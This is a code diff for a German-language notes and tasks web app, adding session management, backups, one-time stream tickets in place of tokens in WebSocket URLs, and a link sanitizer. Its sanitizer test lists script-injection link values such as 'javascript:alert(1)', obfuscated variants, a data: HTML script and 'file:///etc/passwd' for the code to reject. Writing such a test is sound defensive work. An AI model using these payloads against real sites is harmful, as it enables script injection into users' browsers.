<span className={`relative inline-flex items-center ${tagsSummary.length > 0 ? 'pr-3' : ''}`}>
|
||||
Hashtags
|
||||
<CountBadge count={tagsSummary.length} position="corner" className="-top-0.5 -right-2" />
|
||||
</span>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
@@ -1354,32 +1313,25 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Search Input */}
|
||||
<div className="relative">
|
||||
<Search className="w-3.5 h-3.5 text-faint absolute left-2.5 top-1/2 -translate-y-1/2" />
|
||||
<input
|
||||
type="text"
|
||||
value={searchQuery}
|
||||
onChange={(e) => setSearchQuery(e.target.value)}
|
||||
placeholder="Notizen oder #Tags suchen…"
|
||||
className="input-field w-full pl-8 pr-6 py-1 text-xs"
|
||||
/>
|
||||
{searchQuery && (
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setSearchQuery('')}
|
||||
className="absolute right-2 top-1/2 -translate-y-1/2 text-faint hover:text-main"
|
||||
>
|
||||
<X className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
{/* Opens the global full-text search, which also finds the content of every bullet */}
|
||||
{onOpenSearch && (
|
||||
<button
|
||||
type="button"
|
||||
onClick={onOpenSearch}
|
||||
className="input-field w-full h-11 sm:h-7 px-2.5 flex items-center gap-2 text-xs text-faint hover:text-main cursor-pointer"
|
||||
title="Globale Suche (Strg+K / ⌘K oder /)"
|
||||
>
|
||||
<Search className="w-3.5 h-3.5 shrink-0" />
|
||||
<span className="flex-1 text-left truncate">Notizen durchsuchen…</span>
|
||||
<span className="hidden sm:inline font-mono text-[10px]">⌘K</span>
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Scrollable Navigation Tree */}
|
||||
<div className="flex-1 overflow-y-auto p-2 space-y-3">
|
||||
{/* Pinned Notes */}
|
||||
{pinnedDocs.length > 0 && !searchQuery && (
|
||||
{pinnedDocs.length > 0 && (
|
||||
<div>
|
||||
<div className="px-2 mb-1 flex items-center gap-1 text-[10px] font-bold uppercase tracking-wider text-faint">
|
||||
<Pin className="w-3 h-3 text-status-warn" />
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
import { describe, it, expect, vi } from 'vitest';
|
||||
import { render, screen, fireEvent, act } from '@testing-library/react';
|
||||
import { TrashView } from '../TrashView';
|
||||
|
||||
const items = [
|
||||
{ id: 'doc_1', title: 'Urlaub', icon: '🏔️', folderPath: 'Privat', deletedAt: '2026-10-29T08:00:00Z', isOwner: true },
|
||||
];
|
||||
|
||||
describe('TrashView', () => {
|
||||
it('deletes for good only on the second tap', async () => {
|
||||
const onPurge = vi.fn(async () => {});
|
||||
render(<TrashView items={items} onOpen={vi.fn()} onRestore={vi.fn(async () => {})} onPurge={onPurge} onEmpty={vi.fn(async () => {})} onBackMobile={vi.fn()} />);
|
||||
fireEvent.click(screen.getByText('Endgültig löschen'));
|
||||
expect(onPurge).not.toHaveBeenCalled();
|
||||
await act(async () => {
|
||||
fireEvent.click(screen.getByText('Wirklich löschen?'));
|
||||
});
|
||||
expect(onPurge).toHaveBeenCalledWith('doc_1');
|
||||
});
|
||||
|
||||
it('restores with one tap and shows the original folder', async () => {
|
||||
const onRestore = vi.fn(async () => {});
|
||||
render(<TrashView items={items} onOpen={vi.fn()} onRestore={onRestore} onPurge={vi.fn(async () => {})} onEmpty={vi.fn(async () => {})} onBackMobile={vi.fn()} />);
|
||||
expect(screen.getByText('Privat')).toBeTruthy();
|
||||
await act(async () => {
|
||||
fireEvent.click(screen.getByText('Wiederherstellen'));
|
||||
});
|
||||
expect(onRestore).toHaveBeenCalledWith('doc_1');
|
||||
});
|
||||
});
|
||||
@@ -80,6 +80,12 @@ body {
|
||||
border-radius: var(--radius-card);
|
||||
}
|
||||
|
||||
/* An explicit rounded-full (round icon buttons, avatars) wins over the theme radius above */
|
||||
.bg-panel.border.rounded-full,
|
||||
.bg-canvas.border.rounded-full {
|
||||
border-radius: 9999px;
|
||||
}
|
||||
|
||||
/* Quick-Capture-Blase im Header (immer vollständig abgerundet) */
|
||||
.capture-pill,
|
||||
.capture-pill.bg-panel.border {
|
||||
@@ -493,3 +499,9 @@ body {
|
||||
padding-bottom: 6px !important;
|
||||
}
|
||||
}
|
||||
|
||||
/* Read-only sections (e.g. server settings in the demo): everything inside looks switched off */
|
||||
fieldset:disabled :is(button, input, select, textarea) {
|
||||
opacity: 0.5;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { passwordProblem } from '../password';
|
||||
|
||||
describe('passwordProblem (same rule as the server)', () => {
|
||||
it('needs 8 characters, counted as characters', () => {
|
||||
expect(passwordProblem('kurz')).toMatch(/mindestens 8 Zeichen/);
|
||||
expect(passwordProblem(' ')).toMatch(/mindestens 8 Zeichen/);
|
||||
expect(passwordProblem('geheim12')).toBeNull();
|
||||
expect(passwordProblem('äöüßäöüß')).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -62,7 +62,7 @@ describe('realtime fallback', () => {
|
||||
vi.stubGlobal('EventSource', FakeEventSource);
|
||||
sessionStorage.clear();
|
||||
localStorage.setItem('mindsift_jwt_token', 'test-token');
|
||||
vi.stubGlobal('fetch', vi.fn(async () => new Response('{}', { status: 200 })));
|
||||
vi.stubGlobal('fetch', vi.fn(async () => new Response('{"ticket":"t1"}', { status: 200 })));
|
||||
});
|
||||
afterEach(() => {
|
||||
vi.useRealTimers();
|
||||
@@ -73,7 +73,7 @@ describe('realtime fallback', () => {
|
||||
const api = await loadApi();
|
||||
const states: string[] = [];
|
||||
api.onRealtimeStatus((connected, transport) => states.push(`${connected}:${transport}`));
|
||||
api.connectWebSocket();
|
||||
await api.connectWebSocket();
|
||||
FakeWebSocket.instances[0].open();
|
||||
expect(api.getRealtimeTransport()).toBe('ws');
|
||||
|
||||
@@ -87,9 +87,17 @@ describe('realtime fallback', () => {
|
||||
api.disconnectWebSocket();
|
||||
});
|
||||
|
||||
it('connects with a one-time ticket, never with the session token in the URL', async () => {
|
||||
const api = await loadApi();
|
||||
await api.connectWebSocket();
|
||||
expect(FakeWebSocket.instances[0].url).toContain('ticket=t1');
|
||||
expect(FakeWebSocket.instances[0].url).not.toContain('test-token');
|
||||
api.disconnectWebSocket();
|
||||
});
|
||||
|
||||
it('a WebSocket answering PONG stays in use', async () => {
|
||||
const api = await loadApi();
|
||||
api.connectWebSocket();
|
||||
await api.connectWebSocket();
|
||||
const ws = FakeWebSocket.instances[0];
|
||||
ws.open();
|
||||
for (let i = 0; i < 6; i++) {
|
||||
@@ -104,7 +112,7 @@ describe('realtime fallback', () => {
|
||||
it('SSE only counts as connected once the first event arrives', async () => {
|
||||
sessionStorage.setItem('mindsift_ws_blocked', 'true');
|
||||
const api = await loadApi();
|
||||
api.connectWebSocket();
|
||||
await api.connectWebSocket();
|
||||
const es = FakeEventSource.instances[0];
|
||||
es.open();
|
||||
expect(api.isRealtimeConnected()).toBe(false);
|
||||
@@ -118,7 +126,7 @@ describe('realtime fallback', () => {
|
||||
it('a buffering proxy (stream opens, no events) switches SSE off for this tab', async () => {
|
||||
sessionStorage.setItem('mindsift_ws_blocked', 'true');
|
||||
const api = await loadApi();
|
||||
api.connectWebSocket();
|
||||
await api.connectWebSocket();
|
||||
const es = FakeEventSource.instances[0];
|
||||
es.open();
|
||||
await vi.advanceTimersByTimeAsync(5_500);
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { safeHref } from '../safeUrl';
|
||||
|
||||
describe('safeHref', () => {
|
||||
it('keeps web and mail links', () => {
|
||||
expect(safeHref('https://example.com/a?b=1')).toBe('https://example.com/a?b=1');
|
||||
expect(safeHref(' http://example.com ')).toBe('http://example.com/');
|
||||
expect(safeHref('mailto:anna@example.com')).toBe('mailto:anna@example.com');
|
||||
});
|
||||
|
||||
it('drops everything that could run code or load local data', () => {
|
||||
for (const bad of [
|
||||
'javascript:alert(1)',
|
||||
'JaVaScRiPt:alert(1)',
|
||||
' javascript:alert(1)',
|
||||
'java\tscript:alert(1)',
|
||||
'java\nscript:alert(1)',
|
||||
'data:text/html,<script>alert(1)</script>',
|
||||
'vbscript:msgbox(1)',
|
||||
'file:///etc/passwd',
|
||||
'/relative/path',
|
||||
'',
|
||||
]) {
|
||||
expect(safeHref(bad)).toBeNull();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Markdown links in task notes', () => {
|
||||
it('render javascript: links as text, web links as links', async () => {
|
||||
const { render } = await import('@testing-library/react');
|
||||
const { MarkdownViewer } = await import('../markdown');
|
||||
const { container } = render(<MarkdownViewer content={'[Rechnung](javascript:alert(1)) und [Seite](https://example.com)'} />);
|
||||
const links = Array.from(container.querySelectorAll('a'));
|
||||
expect(links.map((a) => a.getAttribute('href'))).toEqual(['https://example.com/']);
|
||||
expect(container.textContent).toContain('Rechnung');
|
||||
});
|
||||
});
|
||||
@@ -53,7 +53,7 @@ describe('custom themes', () => {
|
||||
expect(opt.isRounded).toBe(true);
|
||||
});
|
||||
|
||||
it('supports polarized and suri built-in purple dark themes', () => {
|
||||
it('supports polarized and suri built-in dark themes', () => {
|
||||
setActiveTheme('polarized');
|
||||
expect(getActiveTheme()).toBe('polarized');
|
||||
expect(document.documentElement.getAttribute('data-theme')).toBe('polarized');
|
||||
|
||||
+119
-32
@@ -4,6 +4,9 @@ import {
|
||||
DashboardStats,
|
||||
Document,
|
||||
TrashedDocument,
|
||||
BackupFile,
|
||||
DataSection,
|
||||
ApiKeyScope,
|
||||
Backlink,
|
||||
DocumentBlock,
|
||||
DocShare,
|
||||
@@ -16,7 +19,6 @@ import {
|
||||
SharedFolder,
|
||||
FolderShare,
|
||||
Space,
|
||||
SpaceMember,
|
||||
SpaceShare,
|
||||
SystemSettings,
|
||||
SharingMode,
|
||||
@@ -25,6 +27,7 @@ import {
|
||||
Team,
|
||||
TaskList,
|
||||
TaskListShare,
|
||||
Session,
|
||||
Thought,
|
||||
SubTask,
|
||||
SearchResults,
|
||||
@@ -143,6 +146,10 @@ async function request<T>(path: string, options: RequestInit = {}): Promise<T> {
|
||||
window.dispatchEvent(new CustomEvent('mindsift:unauthorized'));
|
||||
}
|
||||
|
||||
// Sliding session: the server hands out a fresh token once a day (or after a password change)
|
||||
const renewed = res.headers.get('X-Session-Token');
|
||||
if (renewed && res.ok) setToken(renewed);
|
||||
|
||||
if (!res.ok) {
|
||||
let errMsg = `HTTP ${res.status}`;
|
||||
try {
|
||||
@@ -207,6 +214,14 @@ export const api = {
|
||||
}
|
||||
},
|
||||
|
||||
async listSessions(): Promise<Session[]> {
|
||||
return ensureArray(await request<Session[]>('/api/v1/auth/sessions'));
|
||||
},
|
||||
|
||||
async endSession(id: string): Promise<void> {
|
||||
await request(`/api/v1/auth/sessions/${encodeURIComponent(id)}`, { method: 'DELETE' });
|
||||
},
|
||||
|
||||
async revokeAllSessions(): Promise<void> {
|
||||
await request<{ success: boolean }>('/api/v1/auth/revoke-all', { method: 'POST' });
|
||||
},
|
||||
@@ -268,6 +283,7 @@ export const api = {
|
||||
displayName?: string;
|
||||
email?: string;
|
||||
password?: string;
|
||||
currentPassword?: string;
|
||||
avatarUrl?: string;
|
||||
alarmChannels?: string[];
|
||||
alarmEmail?: string;
|
||||
@@ -1108,10 +1124,10 @@ export const api = {
|
||||
return ensureArray(res);
|
||||
},
|
||||
|
||||
async createAPIKey(name: string): Promise<APIKey> {
|
||||
async createAPIKey(name: string, scopes: ApiKeyScope[]): Promise<APIKey> {
|
||||
return request<APIKey>('/api/v1/keys', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ name }),
|
||||
body: JSON.stringify({ name, scopes }),
|
||||
});
|
||||
},
|
||||
|
||||
@@ -1119,19 +1135,23 @@ export const api = {
|
||||
await request(`/api/v1/keys/${id}`, { method: 'DELETE' });
|
||||
},
|
||||
|
||||
/** Simulator: sends like an external system would, with the given key or else the own session. */
|
||||
async testWebhookIngest(
|
||||
token: string,
|
||||
title: string,
|
||||
priority: PriorityLevel,
|
||||
tags: string[]
|
||||
): Promise<{ status: string; thought: Thought }> {
|
||||
return request<{ status: string; thought: Thought }>(
|
||||
`/api/v1/webhooks/ingest?token=${encodeURIComponent(token)}`,
|
||||
{
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ title, priority, tags }),
|
||||
}
|
||||
);
|
||||
apiKey: string | null,
|
||||
payload: {
|
||||
title: string;
|
||||
priority?: PriorityLevel;
|
||||
tags?: string[];
|
||||
target?: 'triage' | 'task' | 'list_item';
|
||||
taskListId?: string;
|
||||
listId?: string;
|
||||
}
|
||||
): Promise<{ status: string }> {
|
||||
return request<{ status: string }>('/api/v1/webhooks/ingest', {
|
||||
method: 'POST',
|
||||
headers: apiKey ? { 'X-API-Key': apiKey } : {},
|
||||
body: JSON.stringify(payload),
|
||||
});
|
||||
},
|
||||
|
||||
async searchAll(q: string): Promise<SearchResults> {
|
||||
@@ -1151,7 +1171,8 @@ export const api = {
|
||||
source: 'mindsift' | 'obsidian',
|
||||
file: File,
|
||||
preview: boolean,
|
||||
mode: 'merge' | 'restore' = 'merge'
|
||||
mode: 'merge' | 'restore' = 'merge',
|
||||
sections?: DataSection[]
|
||||
): Promise<ImportSummary> {
|
||||
const token = getToken();
|
||||
const form = new FormData();
|
||||
@@ -1159,6 +1180,7 @@ export const api = {
|
||||
const params = new URLSearchParams();
|
||||
if (preview) params.set('preview', '1');
|
||||
if (mode === 'restore') params.set('mode', 'restore');
|
||||
if (sections && sections.length > 0) params.set('sections', sections.join(','));
|
||||
const res = await fetch(`/api/v1/import/${source}${params.toString() ? `?${params}` : ''}`, {
|
||||
method: 'POST',
|
||||
headers: token ? { Authorization: `Bearer ${token}` } : {},
|
||||
@@ -1169,6 +1191,33 @@ export const api = {
|
||||
return data as ImportSummary;
|
||||
},
|
||||
|
||||
// --- Automatic server backups ---
|
||||
async adminListBackups(): Promise<BackupFile[]> {
|
||||
return ensureArray(await request<BackupFile[]>('/api/v1/admin/backups'));
|
||||
},
|
||||
|
||||
async adminRunBackup(): Promise<BackupFile[]> {
|
||||
return ensureArray(await request<BackupFile[]>('/api/v1/admin/backups', { method: 'POST' }));
|
||||
},
|
||||
|
||||
async adminDownloadBackup(name: string): Promise<Blob> {
|
||||
return downloadBlob(`/api/v1/admin/backups/${encodeURIComponent(name)}`);
|
||||
},
|
||||
|
||||
async listMyBackups(): Promise<BackupFile[]> {
|
||||
return ensureArray(await request<BackupFile[]>('/api/v1/backups'));
|
||||
},
|
||||
|
||||
async downloadMyBackup(name: string): Promise<Blob> {
|
||||
return downloadBlob(`/api/v1/backups/${encodeURIComponent(name)}`);
|
||||
},
|
||||
|
||||
async restoreMyBackup(name: string, mode: 'merge' | 'restore', sections: DataSection[], preview = false): Promise<ImportSummary> {
|
||||
const params = new URLSearchParams({ mode, sections: sections.join(',') });
|
||||
if (preview) params.set('preview', '1');
|
||||
return request<ImportSummary>(`/api/v1/backups/${encodeURIComponent(name)}/restore?${params}`, { method: 'POST' });
|
||||
},
|
||||
|
||||
// Danger zone: both need the current password
|
||||
async purgeOwnData(password: string): Promise<void> {
|
||||
await request('/api/v1/user/data', { method: 'DELETE', body: JSON.stringify({ password }) });
|
||||
@@ -1204,19 +1253,28 @@ let isRealtimeConnectedState = false;
|
||||
let manualDisconnect = false;
|
||||
let wsReconnectDelay = 2000;
|
||||
|
||||
export function buildWebSocketURL(listId?: string): string {
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const token = getToken() || '';
|
||||
if (listId) {
|
||||
return `${protocol}//${window.location.host}/api/v1/ws/lists/${encodeURIComponent(listId)}?token=${encodeURIComponent(token)}`;
|
||||
// WebSocket and EventSource cannot send headers, so instead of the session token (which would land in
|
||||
// proxy logs) every connection gets a one-time ticket, valid for a minute (POST /auth/stream-ticket).
|
||||
async function fetchStreamTicket(): Promise<string | null> {
|
||||
try {
|
||||
const res = await request<{ ticket?: string }>('/api/v1/auth/stream-ticket', { method: 'POST' });
|
||||
return res?.ticket || null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
return `${protocol}//${window.location.host}/api/v1/ws?token=${encodeURIComponent(token)}`;
|
||||
}
|
||||
|
||||
export function buildSSEURL(listId?: string, docId?: string, rooms?: string[]): string {
|
||||
const token = getToken() || '';
|
||||
export function buildWebSocketURL(ticket: string, listId?: string): string {
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
if (listId) {
|
||||
return `${protocol}//${window.location.host}/api/v1/ws/lists/${encodeURIComponent(listId)}?ticket=${encodeURIComponent(ticket)}`;
|
||||
}
|
||||
return `${protocol}//${window.location.host}/api/v1/ws?ticket=${encodeURIComponent(ticket)}`;
|
||||
}
|
||||
|
||||
export function buildSSEURL(ticket: string, listId?: string, docId?: string, rooms?: string[]): string {
|
||||
const params = new URLSearchParams();
|
||||
if (token) params.set('token', token);
|
||||
params.set('ticket', ticket);
|
||||
if (listId) params.set('listId', listId);
|
||||
if (docId) params.set('docId', docId);
|
||||
if (rooms && rooms.length > 0) params.set('rooms', rooms.join(','));
|
||||
@@ -1304,7 +1362,9 @@ function switchToSSE(reason: string) {
|
||||
connectSSE();
|
||||
}
|
||||
|
||||
export function connectSSE(rooms?: string[]): void {
|
||||
let sseTicketPending = false;
|
||||
|
||||
export async function connectSSE(rooms?: string[]): Promise<void> {
|
||||
if (rooms) {
|
||||
rooms.forEach((r) => globalSubscribedRooms.add(r));
|
||||
}
|
||||
@@ -1323,8 +1383,20 @@ export function connectSSE(rooms?: string[]): void {
|
||||
activeGlobalSSE = null;
|
||||
}
|
||||
|
||||
if (sseTicketPending) return;
|
||||
sseTicketPending = true;
|
||||
const ticket = await fetchStreamTicket();
|
||||
sseTicketPending = false;
|
||||
if (manualDisconnect || !getToken()) return;
|
||||
if (!ticket) {
|
||||
// Server unreachable or session gone: try again later like after a dropped stream
|
||||
notifyRealtimeStatusChange(false, 'none');
|
||||
sseReconnectTimer = setTimeout(() => connectSSE(), sseReconnectDelay);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const url = buildSSEURL(undefined, undefined, Array.from(globalSubscribedRooms));
|
||||
const url = buildSSEURL(ticket, undefined, undefined, Array.from(globalSubscribedRooms));
|
||||
const es = new EventSource(url);
|
||||
activeGlobalSSE = es;
|
||||
|
||||
@@ -1397,15 +1469,16 @@ export function connectSSE(rooms?: string[]): void {
|
||||
}
|
||||
}
|
||||
|
||||
export function connectWebSocket(): void {
|
||||
let wsTicketPending = false;
|
||||
|
||||
export async function connectWebSocket(): Promise<void> {
|
||||
const token = getToken();
|
||||
if (!token) return;
|
||||
manualDisconnect = false;
|
||||
|
||||
// If proxy blocked WebSocket previously, do not attempt failing WebSocket; stay on SSE
|
||||
if (isWsBlockedByProxy) {
|
||||
connectSSE();
|
||||
return;
|
||||
return connectSSE();
|
||||
}
|
||||
|
||||
if (activeGlobalWS && (activeGlobalWS.readyState === WebSocket.OPEN || activeGlobalWS.readyState === WebSocket.CONNECTING)) {
|
||||
@@ -1416,8 +1489,22 @@ export function connectWebSocket(): void {
|
||||
clearTimeout(wsReconnectTimer);
|
||||
clearTimeout(sseReconnectTimer);
|
||||
|
||||
if (wsTicketPending) return;
|
||||
wsTicketPending = true;
|
||||
const ticket = await fetchStreamTicket();
|
||||
wsTicketPending = false;
|
||||
if (manualDisconnect || !getToken()) return;
|
||||
if (activeGlobalWS && (activeGlobalWS.readyState === WebSocket.OPEN || activeGlobalWS.readyState === WebSocket.CONNECTING)) {
|
||||
return;
|
||||
}
|
||||
if (!ticket) {
|
||||
notifyRealtimeStatusChange(false, 'none');
|
||||
wsReconnectTimer = setTimeout(() => connectWebSocket(), wsReconnectDelay);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
const url = buildWebSocketURL();
|
||||
const url = buildWebSocketURL(ticket);
|
||||
const ws = new WebSocket(url);
|
||||
activeGlobalWS = ws;
|
||||
|
||||
@@ -1501,7 +1588,7 @@ export function connectWebSocket(): void {
|
||||
}
|
||||
};
|
||||
|
||||
ws.onerror = (e) => {
|
||||
ws.onerror = () => {
|
||||
clearTimeout(wsConnectionWatchdog);
|
||||
switchToSSE('WebSocket Fehler (Handshake/Verbindung verweigert)');
|
||||
};
|
||||
|
||||
@@ -49,7 +49,7 @@ describe('diffFlat', () => {
|
||||
return Math.floor((seed / 2147483648) * n);
|
||||
};
|
||||
let current: DocumentBlock[] = [B('x0', 0)];
|
||||
let d = build(current);
|
||||
const d = build(current);
|
||||
for (let step = 0; step < 300; step++) {
|
||||
const next = current.map((b) => ({ ...b }));
|
||||
const i = rnd(next.length);
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
// Saves a downloaded file. Works on mobile browsers too: the link must be in the document and the
|
||||
// object URL alive until the click ran.
|
||||
export function saveBlob(blob: Blob, filename: string): void {
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = filename;
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
a.remove();
|
||||
window.setTimeout(() => URL.revokeObjectURL(url), 10000);
|
||||
}
|
||||
|
||||
export const formatBytes = (n: number): string =>
|
||||
n < 1024 ? `${n} B` : n < 1024 * 1024 ? `${(n / 1024).toFixed(0)} KB` : `${(n / 1024 / 1024).toFixed(1)} MB`;
|
||||
@@ -1,4 +1,5 @@
|
||||
import React from 'react';
|
||||
import { safeHref } from './safeUrl';
|
||||
|
||||
/**
|
||||
* Parses inline markdown:
|
||||
@@ -86,9 +87,9 @@ function renderInlineTokens(text: string, options?: InlineMarkdownOptions): Reac
|
||||
{token.slice(2, -2)}
|
||||
</del>
|
||||
);
|
||||
} else if (token.startsWith('[') && match[2] && match[3]) {
|
||||
} else if (token.startsWith('[') && match[2] && match[3] && safeHref(match[3])) {
|
||||
const label = match[2];
|
||||
const url = match[3];
|
||||
const url = safeHref(match[3]) as string;
|
||||
elements.push(
|
||||
<a
|
||||
key={key}
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
// Same rule as the server (auth.ValidatePassword): at least 8 characters, not only spaces.
|
||||
// Only for setting a password; logging in with an older, shorter one keeps working.
|
||||
export const MIN_PASSWORD_LENGTH = 8;
|
||||
|
||||
export const passwordProblem = (password: string): string | null =>
|
||||
!password.trim() || Array.from(password).length < MIN_PASSWORD_LENGTH
|
||||
? `Das Passwort muss mindestens ${MIN_PASSWORD_LENGTH} Zeichen lang sein`
|
||||
: null;
|
||||
@@ -0,0 +1,16 @@
|
||||
// Links from user content (notes, task notes, Markdown) may only point to web pages or mail addresses.
|
||||
// Anything else – javascript:, data:, vbscript:, file: and friends – would run or load in the app's
|
||||
// context when clicked, so it is shown as plain text instead (FLAW-28).
|
||||
const ALLOWED_PROTOCOLS = new Set(['http:', 'https:', 'mailto:']);
|
||||
|
||||
export function safeHref(raw: string): string | null {
|
||||
const value = raw.trim();
|
||||
if (!value) return null;
|
||||
try {
|
||||
// Browsers ignore control characters and whitespace inside the scheme ("java\tscript:"); URL does the same
|
||||
const url = new URL(value);
|
||||
return ALLOWED_PROTOCOLS.has(url.protocol) ? url.href : null;
|
||||
} catch {
|
||||
return null; // relative or broken: not a link
|
||||
}
|
||||
}
|
||||
@@ -70,13 +70,13 @@ export const AVAILABLE_THEMES: ThemeOption[] = [
|
||||
},
|
||||
{
|
||||
id: 'polarized',
|
||||
name: 'Polarized (Ultraviolet)',
|
||||
subtitle: 'Tiefdunkles Obsidian mit elektrischem Violett (0px)',
|
||||
name: 'Polarized (Emerald / Teal)',
|
||||
subtitle: 'Tiefdunkles Obsidian mit elektrischem Türkis/Grün (0px)',
|
||||
file: 'src/themes/theme-polarized.css',
|
||||
previewBg: '#0d0b14',
|
||||
previewPanel: '#151221',
|
||||
previewAccent: '#a855f7',
|
||||
previewText: '#f5f3ff',
|
||||
previewBg: '#090e11',
|
||||
previewPanel: '#10181c',
|
||||
previewAccent: '#14b8a6',
|
||||
previewText: '#f0fdfa',
|
||||
isRounded: false,
|
||||
},
|
||||
{
|
||||
|
||||
@@ -10,6 +10,10 @@ export interface AuthStatus {
|
||||
sharingMode?: SharingMode;
|
||||
// "Passwort vergessen?" works (SMTP and BASE_URL configured)
|
||||
passwordReset?: boolean;
|
||||
// Demo mode with periodic reset: next reset (ISO) and seconds until then
|
||||
demoNextReset?: string;
|
||||
demoResetInSeconds?: number;
|
||||
demoResetMinutes?: number;
|
||||
// Impressum / Datenschutz of this instance (LEGAL_* environment variables)
|
||||
legal?: {
|
||||
imprintUrl?: string;
|
||||
@@ -176,14 +180,36 @@ export interface SystemSettings {
|
||||
smtpHost?: string;
|
||||
smtpPort?: string; // sent as text, like the server stores it
|
||||
smtpUser?: string;
|
||||
smtpPass?: string;
|
||||
smtpPass?: string; // write only: the server never sends it back, empty keeps the stored one
|
||||
smtpPassSet?: boolean;
|
||||
smtpFrom?: string;
|
||||
smtpTls?: boolean;
|
||||
smtpSkipVerify?: boolean;
|
||||
allowPrivateWebhooks?: boolean; // alarm webhooks may reach the LAN (and plain http)
|
||||
smtpConfiguredViaEnv?: boolean;
|
||||
// Automatic backups: daily time (HH:MM, server time zone) and days to keep them
|
||||
backupEnabled?: boolean;
|
||||
backupTime?: string;
|
||||
backupRetentionDays?: number;
|
||||
}
|
||||
|
||||
/** One file of a server backup listing. */
|
||||
export interface BackupFile {
|
||||
name: string;
|
||||
size: number;
|
||||
createdAt: string;
|
||||
}
|
||||
|
||||
/** Parts of the own data a backup can be restored for. */
|
||||
export type DataSection = 'notes' | 'tasks' | 'lists' | 'inbox' | 'themes';
|
||||
export const DATA_SECTIONS: { id: DataSection; label: string }[] = [
|
||||
{ id: 'notes', label: 'Notizen' },
|
||||
{ id: 'tasks', label: 'Aufgaben' },
|
||||
{ id: 'lists', label: 'Listen' },
|
||||
{ id: 'inbox', label: 'Inbox' },
|
||||
{ id: 'themes', label: 'Themes' },
|
||||
];
|
||||
|
||||
export type BlockType = 'h1' | 'h2' | 'h3' | 'paragraph' | 'text' | 'todo' | 'bullet' | 'code' | 'callout' | 'divider' | 'table' | 'progress';
|
||||
|
||||
export interface DocumentBlock {
|
||||
@@ -460,6 +486,7 @@ export interface ImportSummary {
|
||||
lists: number;
|
||||
listItems: number;
|
||||
inbox: number;
|
||||
themes?: number;
|
||||
skipped: { path: string; reason: string }[];
|
||||
applied: boolean;
|
||||
}
|
||||
@@ -473,13 +500,16 @@ export interface UserTheme {
|
||||
updatedAt: string;
|
||||
}
|
||||
|
||||
/** What an API key may deliver; keys never read data. */
|
||||
export type ApiKeyScope = 'webhook:triage' | 'webhook:task' | 'webhook:list';
|
||||
|
||||
export interface APIKey {
|
||||
id: string;
|
||||
userId: string;
|
||||
name: string;
|
||||
keyPrefix: string;
|
||||
rawKey?: string;
|
||||
scopes: string;
|
||||
scopes: string; // comma separated ApiKeyScope values
|
||||
lastUsedAt?: string;
|
||||
createdAt: string;
|
||||
}
|
||||
@@ -490,6 +520,7 @@ export interface DashboardStats {
|
||||
tasksDoneCount: number;
|
||||
docsCount: number;
|
||||
docsTodosOpenCount?: number;
|
||||
listItemsOpenCount?: number;
|
||||
listsCount: number;
|
||||
discardedCount: number;
|
||||
}
|
||||
@@ -502,3 +533,13 @@ export interface WSMessage<T = any> {
|
||||
payload: T;
|
||||
timestamp: string;
|
||||
}
|
||||
|
||||
// A logged-in device (Profil & Sicherheit)
|
||||
export interface Session {
|
||||
id: string;
|
||||
createdAt: string;
|
||||
lastUsedAt: string;
|
||||
userAgent: string;
|
||||
ip: string;
|
||||
current: boolean;
|
||||
}
|
||||
@@ -12,3 +12,10 @@ ReactDOM.createRoot(document.getElementById('root')!).render(
|
||||
</React.StrictMode>
|
||||
);
|
||||
|
||||
|
||||
// Service worker for the app shell (offline start, see public/sw.js)
|
||||
if ('serviceWorker' in navigator) {
|
||||
window.addEventListener('load', () => {
|
||||
navigator.serviceWorker.register('/sw.js').catch(() => {});
|
||||
});
|
||||
}
|
||||
@@ -4,6 +4,19 @@ import { cleanup } from '@testing-library/react';
|
||||
// jsdom has no layout engine, so scrolling is a no-op here
|
||||
Element.prototype.scrollIntoView = () => {};
|
||||
|
||||
if (typeof window !== 'undefined' && !window.PointerEvent) {
|
||||
class PolyfillPointerEvent extends MouseEvent {
|
||||
pointerId: number;
|
||||
pointerType: string;
|
||||
constructor(type: string, params: PointerEventInit = {}) {
|
||||
super(type, params);
|
||||
this.pointerId = params.pointerId ?? 1;
|
||||
this.pointerType = params.pointerType ?? 'touch';
|
||||
}
|
||||
}
|
||||
(window as any).PointerEvent = PolyfillPointerEvent;
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
cleanup();
|
||||
});
|
||||
@@ -1,37 +1,37 @@
|
||||
/* ==========================================================================
|
||||
MINDSIFT THEME: POLARIZED (Ultraviolet / Obsidian)
|
||||
Tiefdunkles Obsidian mit elektrischem Violett-Akzent & scharfen Kanten.
|
||||
MINDSIFT THEME: POLARIZED (Emerald / Teal)
|
||||
Tiefdunkles Obsidian mit elektrischem Grün/Türkis-Akzent & scharfen Kanten.
|
||||
========================================================================== */
|
||||
|
||||
:root[data-theme="polarized"] {
|
||||
/* --- 1. AKZENTFARBE (Elektrisches Ultraviolett) --- */
|
||||
--accent-primary: #a855f7;
|
||||
--accent-hover: #c084fc;
|
||||
--accent-dim: rgba(168, 85, 247, 0.15);
|
||||
--accent-border: rgba(192, 132, 252, 0.45);
|
||||
--text-on-accent: #ffffff;
|
||||
